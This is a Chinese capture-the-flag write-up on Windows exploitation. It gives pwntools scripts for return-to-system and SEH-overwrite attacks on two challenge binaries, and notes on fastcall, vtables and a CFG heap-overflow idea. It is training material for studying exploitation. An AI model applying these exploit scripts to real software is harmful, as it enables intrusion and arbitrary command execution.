XMAN之旅-windows exploit technique

1. babyrop

leak MSVCR100 address => get system address => get address of "cmd.exe" => overwrite return address with system address

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# -*- coding: utf-8 -*-
from pwn import *
p = process("./babyrop.exe")
p.recvuntil("name")
p.sendline("A"*24)
p.recvuntil("A"*24)
crt = p.recv(4)
msvcr_base = u32(crt) - 0x1d1af
system_address = msvcr_base + 0x62632
cmd_address = msvcr_base + 0x43030
payload = "A"*0xCC+"AAAA"+p32(system_address)+p32(0xdeadbeaf)+p32(cmd_address)
p.recvuntil("input your message length")
p.sendline(str(len(payload)))
p.sendline(payload)
p.interactive()

payload:

padding + system_address + 4 bytes padding + cmd_address

2. babyrop2

leak babyrop2 address and stack address => get system("cmd.exe") address and seh address => get first seh handler offset

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# -*- coding: utf-8 -*-
from pwn import *
p = process("./babyrop2.exe")
p.recvuntil("input your name")
p.send("A"*68+"\x0a")
p.recvuntil("A"*68)
crt = p.recv(8)
babyrop2_address = (u32(crt[0:4]) >> 16) << 16
ebp_address = u32(crt[4:8]) + 0x4
system_cmd_address = babyrop2_address + 0x1117
print hex(babyrop2_address)
print hex(ebp_address)
message_address = ebp_address - 0xCC
first_seh_address = ebp_address + 0x38
offset = first_seh_address - message_address
next_seh_address = ebp_address + 0x94
payload = "A"*offset + p32(next_seh_address) + p32(system_cmd_address)+"A"*30000
p.recvuntil("input your message length")
p.sendline(str(len(payload)))
p.sendline(payload)
p.interactive()

代码说明:

  1. 首先通过第一个printf函数leak出babyrop2地址、main函数中的ebp地址

  2. 然后通过ida获取message在main函数中偏移为[bp-CCh],通过windbg获取first seh的地址与ebp之间的差值为0x38。于是结合起来就可以获得填充字符串数offset

  3. 通过windbg获取first ebp所指向的下一个seh地址 与 ebp之间的差值 0x94

  4. 为了让程序进入异常,我们在payload后加入很长的字符串

payload:

padding + next_seh_address + system_cmd_address + long string

3. babyvtable

了解一些基本的知识点

3.1 windows x64平台fastcall调用约定

  1. 前四个整型或指针类型参数由RCX,RDX,R8,R9依次传递,前四个浮点类型参数由XMM0,XMM1,XMM2,XMM3依次传递。

  2. 调用函数为前四个参数在调用栈上保留相应的空间,称作shadow space或spill slot。即使被调用方没有或小于4个参数,调用函数仍然保留那么多的栈空间,这有助于在某些特殊情况下简化调用约定。

  3. 除前四个参数以外的任何其他参数通过栈来传递,从右至左依次入栈。

  4. 由调用函数负责清理调用栈。

  5. 小于等于64位的整型或指针类型返回值由RAX传递。

  6. 浮点返回值由XMM0传递。

  7. 更大的返回值(比如结构体),由调用方在栈上分配空间,并有RCX持有该空间的指针并传递给被调用函数,因此整型参数使用的寄存器依次右移一格,实际只可以利用3个寄存器,其余参数入栈。函数调用结束后,RAX返回该空间的指针。

  8. 除RCX,RDX,R8,R9以外,RAX、R10、R11、XMM4 和 XMM5也是易变化的(volatile)寄存器。

  9. RBX, RBP, RDI, RSI, R12, R14, R14, and R15寄存器则必须在使用时进行保护。

  10. 在寄存器中,所有参数都是右对齐的。小于64位的参数并不进行高位零扩展,也就是高位是无法预测的垃圾数据。

3.2 C++虚表介绍

  1. 当类继承了父类(父类含有虚函数),或者类中本来就有虚函数,那么编译之后就会产生虚表。

  2. 若A、B继承了父类C,那么在rdata段中将会有连续的空间存放A继承C的虚函数指针、B继承C的虚函数指针

  3. 实例化A或B时,将会在栈空间,则地址的首部放置指向虚表的指针,紧接着是各个局部变量;若是new()创建,则是堆空间,这时局部变量放置到栈空间,malloc的变量放置到堆空间。

3.3 本题说明

由于babyvtable使用了CFG、ASLR、DEP、GS、SafeSEHOP等完整的防护机制,看起来貌似无懈可击,但是CFG的堆地址随机分配,导致我们可以让结构体、结构体中某个变量malloc出的字符串 并不一定成前后分布。

兴许堆地址随机分配,可能造成结构体中某个变量malloc出的字符串在结构体的前面,从而堆溢出造成覆盖虚表指针等操作!

CFG打开一般需要连续malloc同一区域16次,或不连续malloc同一区域0x40次!打开CFG,意味着malloc的堆地址随机化!

由于windows的ASLR是以页为单位,也即4k大小为单位,所以为了判断某个位置是否是结构体开始的虚表指针,只需要查找其在主程序中的位置偏移(33f0),由于页为4k,大小为1.5个字节,所以比较的时候是ord(msg[i])==0xf0 and (ord(msg[i+1])&0x0f)==0x3

idata段中放置了一些程序用到的函数iat